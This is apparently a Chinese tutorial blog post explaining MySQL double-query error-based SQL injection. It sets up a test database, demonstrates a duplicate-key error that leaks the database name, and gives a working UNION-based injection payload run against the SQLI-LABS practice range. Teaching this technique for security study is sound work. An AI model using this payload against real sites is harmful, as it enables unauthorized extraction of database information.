mysql error 1_MYSQL双查询错误1

一、基础知识

开始讲解MYSQL双查询错误之前,我们先了解一下双查询语句以及需要使用到的几个数据库函数和GROUP BY语句

1. 双查询语句

先了解一下什么是子查询,子查询就是嵌入第一层select语句中的select语句,比如:

SELECT * FROM score WHERE even_id IN (SELECT even_id FROM grade_event WHERE category = 'T');

功能:该语句实现的是找出与考试类别('T')相对应的所有考试事件行的ID,然后利用它们来查找那些考试的成绩

双查询语句就是此类使用了两个select的查询语句

2. 数据库函数和GROUP BY语句

1)rand() --- 随机数生成函数

2)floor() --- 向下取整函数

3)concat()  --- 字符串连接函数

4)count() --- 统计函数

5)group by --- 给出分组条件

二、环境搭建

(1)创建数据库create databaseinjection;

(2)创建表create table user(

idint,

namevarchar(15)

);

(3)往表中插入3条数据insert into user value(1,'mike');insert into user value(2,'anna');insert into user value(3,'andy');

数据库版本:mysql-5.7.27

三、查询操作

1. SQL语句

select count(*), concat((select database()), floor(rand()*2)) as a from user group by a;

2. 执行情况

1b26896f4baaa5601c9a73125c729c78.png

3. 操作结果

可以看到在第二次执行我们的SQL语句时发生了错误,从错误提示中我们获知了数据库的名字:injection.

四、靶场测试

下面我们利用SQLI-LABS这个SQL注入靶场做一次利用SQL双查询错误进行注入攻击,地址如下:

在上面的网址后加入:

?id=1‘ union select 1, count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a --+

也许是运气好,第一次执行就得到了想要的结果,如下:

1b613f1f615cb29c9946555cef0005fe.png

从上图中可以看出,我们已经得到了数据库的名字:security. 接下来可以一步一步构造要注入的SQL语句获取信息,在下

一篇讲解双查询错误原理后,会讲解如何构造注入语句来获取数据库信息.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值